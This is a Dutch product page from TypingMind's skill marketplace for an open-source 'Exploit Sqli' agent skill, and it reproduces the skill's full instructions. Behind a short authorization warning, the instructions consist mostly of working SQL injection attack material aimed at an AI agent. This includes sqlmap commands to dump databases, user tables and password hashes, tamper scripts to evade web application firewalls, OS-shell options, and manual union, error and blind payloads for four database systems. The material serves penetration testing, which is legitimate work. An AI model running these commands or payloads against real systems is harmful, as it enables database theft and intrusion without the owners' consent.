Logo van Exploit Sqli

Exploit Sqli

Community
crazyMarky
exploit-sqli

SQL injection detection and exploitation using sqlmap, manual techniques, and custom payloads. Use this skill when user needs to test for SQL injection vulnerabilities, extract database information, or exploit SQLi in parameters, headers, or cookies.

Add to TypingMind

Overzicht

UitgevercrazyMarky
Repositorypentest-skills
Skillnaamexploit-sqli
Sterren
342
Forks
37
Meegeleverde bestanden
10
LicentieApache-2.0
Links
  • Instructies in Markdown

    Het model laadt het bestand SKILL.md alleen als dat nodig is. Dat kost dus alleen tokens als een verzoek daadwerkelijk bij de skill past.

  • Werkt met elk LLM

    AI-skills bestaan uit instructies in gewone Markdown, niet uit aanbiederspecifieke code. Daardoor werken ze met GPT, Claude, Gemini, Grok of een lokaal model.

  • Meegeleverde bestanden: 10

    Scripts, sjablonen en referentiemateriaal die het model tijdens het werken kan lezen. De bestanden kunnen alleen worden gelezen en worden nooit uitgevoerd.

  • Open source

    Gepubliceerd door crazyMarky op GitHub. Bekijk de bronbestanden voordat je de skill installeert.

Installatie

Installeer de AI-skill Exploit Sqli in TypingMind om deze met elk LLM te gebruiken, of voeg de skill toe aan een andere agent die SKILL.md kan lezen.

1

Installeren in TypingMind

TypingMind installeert een skill rechtstreeks vanuit de GitHub-map. De app leest SKILL.md, bundelt de bijbehorende bestanden en slaat het resultaat lokaal op.

  1. Open de app en ga naar Plug-ins → Skills.
  2. Kies "Installeren via GitHub".
  3. Plak de onderstaande URL van de skillmap en bevestig.
    https://github.com/crazyMarky/pentest-skills/tree/main/exploit-sqli
  4. Schakel de skill in voor elke chat waarin je de skill wilt kunnen gebruiken.
Plug-ins → Skills → Skill toevoegen → Via GitHub-URL. Plak vervolgens de map-URL en druk op Doorgaan.
2

Installeren in een andere agent

Elke agent die het Agent Skills-formaat kan lezen, kan deze skill gebruiken — kopieer de map naar de skillmap van die agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/crazyMarky/pentest-skills.git /tmp/pentest-skills
mkdir -p .claude/skills
cp -r /tmp/pentest-skills/exploit-sqli .claude/skills/exploit-sqli
Start Claude Code na het kopiëren opnieuw op, zodat de nieuwe skill wordt herkend.

Gebruik deze skill in TypingMind

Schakel Exploit Sqli in voor een chat naar keuze in TypingMind en het model doet de rest. De naam en beschrijving staan in de systeemprompt. Zodra een verzoek bij de skill past, laadt het model zelf de volledige instructies. Je hoeft de skill nooit handmatig aan te roepen. Pas als het model de skill daadwerkelijk gebruikt, kost dat tokens.

Het model laadt Exploit Sqli automatisch zodra een verzoek erbij past.

Werkt met elk AI-model

AI-skills zijn gewone Markdown-instructies in plaats van aanbiederspecifieke code. Daardoor is Exploit Sqli niet gebonden aan het model waarvoor de skill is geschreven. Installeer de skill één keer in TypingMind en gebruik deze met GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama of een lokaal model dat je zelf draait — allemaal met je eigen API-sleutels.

  • Alleen geladen wanneer nodig

    De systeemprompt bevat alleen de naam en beschrijving. De instructies worden bij het eerste bijpassende verzoek opgehaald, dus een ongebruikte skill kost niets.

  • Wissel van model tijdens een chat

    Omdat de skill uit instructies bestaat en niet uit code, blijft deze werken als je van model wisselt — het volgende model leest hetzelfde SKILL.md-bestand.

Skillinstructies

Dit is de inhoud van SKILL.md die het model laadt. Lees deze vóór de installatie — een skill bestaat uit instructies die je model zal volgen.

SQL Injection Detection & Exploitation

Authorization Warning

DANGER: SQL injection testing can damage or destroy data in production databases. Always ensure you have:

  • Written permission from the target application owner
  • Isolated testing environment
  • Backups of affected systems
  • Legal compliance with local regulations

Never test SQL injection on production databases without authorization.

Prerequisites

Required tools that must be installed on your system:

  • sqlmap - pip install sqlmap or git clone https://github.com/sqlmapproject/sqlmap

Optional tools:

  • BBQSQL - Semi-automated SQL injection tool
  • NoSQLMap - NoSQL injection testing

Quick Start

Most commonly used commands for SQL injection testing:

Automated SQLMap Scan

bash
sqlmap -u "https://target.com/page?id=1"

POST Request Testing

bash
sqlmap -u "https://target.com/login" --data="username=admin&password=test"

Cookie Testing

bash
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

Common Scenarios

Scenario 1: Basic Parameter Testing

When you need to test a URL parameter for SQL injection:

bash
sqlmap -u "https://target.com/page?id=1"

Parameters:

  • -u - Target URL
  • -p - Specific parameter to test (default: all)
  • --batch - Avoid interactive prompts
  • --random-agent - Use random User-Agent

Example:

bash
sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent

Scenario 2: POST Request Injection

When you need to test POST body parameters:

bash
sqlmap -u "https://target.com/login" --data="username=admin&password=test"

From file:

bash
sqlmap -u "https://target.com/login" -d post_data.txt

Scenario 3: Cookie/Header Injection

When you need to test cookies or headers:

bash
# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"

# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"

Multiple headers:

bash
sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"

Scenario 4: Specific DBMS Testing

When you know or suspect the database type:

bash
sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle

Scenario 5: Database Enumeration

When you need to extract database information:

bash
# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables

# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump

# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all

Scenario 6: User Enumeration

When you need to extract user credentials:

bash
# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users

# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords

# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump

Scenario 7: Union-Based SQL Injection

Manual testing for Union-based SQLi:

bash
# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--

Determine column count:

sql
id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--

Check for string vs integer:

sql
id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--

Scenario 8: Error-Based SQL Injection

When error messages are displayed:

bash
# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--

# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--

Scenario 9: Blind SQL Injection

When no error messages are returned:

Boolean-based:

sql
id=1' AND 1=1--
id=1' AND 1=2--

Time-based (MySQL):

sql
id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--

Time-based (PostgreSQL):

sql
id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-

Scenario 10: WAF Evasion

When WAF blocks injection attempts:

bash
# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments

# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent

# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1

# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U

Injection Testing Workflow

1. Initial Detection

bash
# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch

# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"

2. Confirmation

bash
# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"

3. Fingerprint Database

bash
sqlmap -u "https://target.com/page?id=1" --current-user

4. Enumeration

bash
# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

SQLMap Options Reference

OptionDescription
-uTarget URL
-rParse log file
-lLoad from file
-mScan multiple targets
-pTest specific parameters
--skipSkip parameters
--dbmsForce DBMS
--osForce OS
--tamperTamper script
--levelTest level (1-5)
--riskRisk level (1-3)
--techniqueSpecific technique (B/E/U/S/T)
--batchNon-interactive
--random-agentRandom User-Agent
--proxyUse proxy
--delayDelay between requests
--timeoutRequest timeout
--retriesRetry attempts
--stringMatch string
--not-stringNot match string
--regexpRegexp filter
--grepRegexp filter for pages
--crawlCrawl site
--formsParse forms
--cookieCookie value
--headersExtra headers
--user-agentCustom User-Agent
--methodForce method
--dataPOST data
-dPOST data from file
--dbsEnumerate databases
--tablesEnumerate tables
--columnsEnumerate columns
--schemaEnumerate schema
--dumpDump data
--dump-allDump all
--searchSearch
--usersEnumerate DB users
--passwordsEnumerate password hashes
--priv-escPrivilege escalation
--os-shellOS shell
--os-pwnMeterpreter/OBM shell
--sql-shellSQL shell
--wizardWizard mode
-vVerbosity (0-6)

Manual Payloads

MySQL Payloads

sql
-- Version detection
' UNION SELECT @@version--

-- Current user
' UNION SELECT user()--

-- Current database
' UNION SELECT database()--

-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--

-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--

PostgreSQL Payloads

sql
-- Version
' UNION SELECT version()--

-- Current user
' UNION SELECT user--

-- Current database
' UNION SELECT current_database()--

-- All databases
' UNION SELECT datname FROM pg_database--

-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

SQL Server Payloads

sql
-- Version
' UNION SELECT @@version--

-- Database
' UNION SELECT DB_NAME()--

-- Tables
' UNION SELECT table_name FROM information_schema.tables--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Databases
' UNION SELECT name FROM master..sysdatabases--

Oracle Payloads

sql
-- Version
' UNION SELECT banner FROM v$version--

-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--

-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--

Testing Checklist

  • URL parameters
  • POST parameters
  • Cookies
  • User-Agent
  • Referer
  • X-Forwarded-For
  • Accept headers
  • JSON body fields
  • GraphQL queries
  • API endpoints

Scenario: Persistent Storage of SQL Injection Findings

When you need to persist SQL injection findings to the database:

bash
# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/login?id=1" \
  --parameter id \
  --payload "1' OR '1'='1" \
  --severity Critical \
  --cvss-score 9.8 \
  --db-type MySQL \
  --subsystem "Web Application"

Parameters:

  • --host-ip - Target host IP (required)
  • --url - Vulnerable URL (required)
  • --parameter - Vulnerable parameter name (required)
  • --payload - Payload used (required)
  • --severity - Severity level (default: High)
  • --cvss-score - CVSS score (0.0-10.0)
  • --db-type - Database type (e.g., MySQL, PostgreSQL)
  • --subsystem - Subsystem name (optional)
  • --title - Vulnerability title (auto-generated if not specified)
  • --description - Vulnerability description

Database location: ./data/results.db

Related skills: results-storage - Query data, generate reports


Resources

Scripts

  • scripts/sqli_payload_generator.py - Generate SQL injection payloads
  • scripts/boolean_sqli_tester.py - Test blind SQL injection
  • scripts/response_analyzer.py - Analyze responses for injection clues

References

  • references/sqlmap_guide.md - Comprehensive SQLMap reference
  • references/manual_sqli_techniques.md - Manual injection techniques
  • references/nosql_injection.md - NoSQL injection guide

Assets

  • assets/common_error_payloads.txt - Common error-based payloads
  • assets/time-based_payloads.txt - Time-based blind payloads
  • assets/dbms_fingerprints.txt - Database fingerprinting patterns

Meegeleverde bestanden

Zolang de skill geladen is, leest het model deze bestanden als dat nodig is. Het model kan ze alleen lezen; ze worden nooit uitgevoerd.

Veelgestelde vragen

Wat doet de AI-skill Exploit Sqli?

SQL injection detection and exploitation using sqlmap, manual techniques, and custom payloads. Use this skill when user needs to test for SQL injection vulnerabilities, extract database information, or exploit SQLi in parameters, headers, or cookies.

Waarom Exploit Sqli gebruiken in TypingMind?

Omdat je deze skill één keer installeert en met elk model kunt gebruiken. Exploit Sqli bestaat uit gewone Markdown in plaats van aanbiederspecifieke code. Dezelfde skill werkt dus met GPT-5, Claude, Gemini, Grok of een lokaal model. Ook als je midden in een chat van model wisselt, blijft de skill werken. TypingMind werkt met je eigen API-sleutels, dus je betaalt aanbieders rechtstreeks in plaats van een abonnement per gebruikersplek af te sluiten. Je skills en chats blijven in je eigen opslag.

Hoe installeer ik Exploit Sqli in TypingMind?

Open Plug-ins → Skills → Installeren vanaf GitHub in TypingMind en plak https://github.com/crazyMarky/pentest-skills/tree/main/exploit-sqli. TypingMind leest het bestand SKILL.md, bundelt de bijbehorende bestanden en installeert het geheel als een skill die je per chat kunt inschakelen.

Welke AI-modellen kunnen Exploit Sqli gebruiken?

Elk model dat je in TypingMind koppelt. AI-skills bestaan uit gewone Markdown-instructies in plaats van aanbiederspecifieke code. GPT, Claude, Gemini, Grok en lokale modellen kunnen deze skill dus allemaal laden wanneer een verzoek erbij past.

Hoeveel AI-modellen kan ik met Exploit Sqli gebruiken?

Zoveel als je wilt. Je kunt Exploit Sqli gebruiken met elk model dat skills ondersteunt, zoals GPT, Claude, Gemini, Grok, DeepSeek, Mistral of Llama. Allemaal in TypingMind met je eigen API-sleutels.

Is de AI-skill Exploit Sqli gratis?

Ja. Deze skill is door crazyMarky op GitHub gepubliceerd onder de licentie Apache-2.0. Je betaalt alleen je eigen AI-aanbieder voor de tokens die je gebruikt.

Wat zijn AI-skills?

Een AI-skill is een herbruikbare bundel instructies die een AI-model leert hoe het één specifieke taak moet uitvoeren. De skill volgt het open Agent Skills-formaat: het bestand SKILL.md bevat de naam en beschrijving van de skill. Daarnaast kan de skill scripts, sjablonen of referentiebestanden bevatten die het model nodig heeft. Het model leest de instructies alleen als je verzoek bij de skill past. Een geïnstalleerde skill kost dus niets zolang deze niet wordt gebruikt.

Waarin verschillen AI-skills van plug-ins of MCP-servers?

Een plug-in of MCP-server geeft een model nieuwe tools om aan te roepen: code die ergens wordt uitgevoerd en een resultaat teruggeeft. Een AI-skill geeft het model juist kennis en een werkwijze: hoe het een taak moet aanpakken, welke stappen het moet volgen en hoe goede uitvoer eruitziet. Skills bestaan uit gewone Markdown en hebben dus geen server, API-sleutel of runtime nodig. Ze werken met elk model.

Bekijk alles

Maak nu je eigen AI-werkruimte

Schrijf je in voor onze nieuwsbrief en blijf op de hoogte van nieuwe functies en toekomstige weggeefacties 👇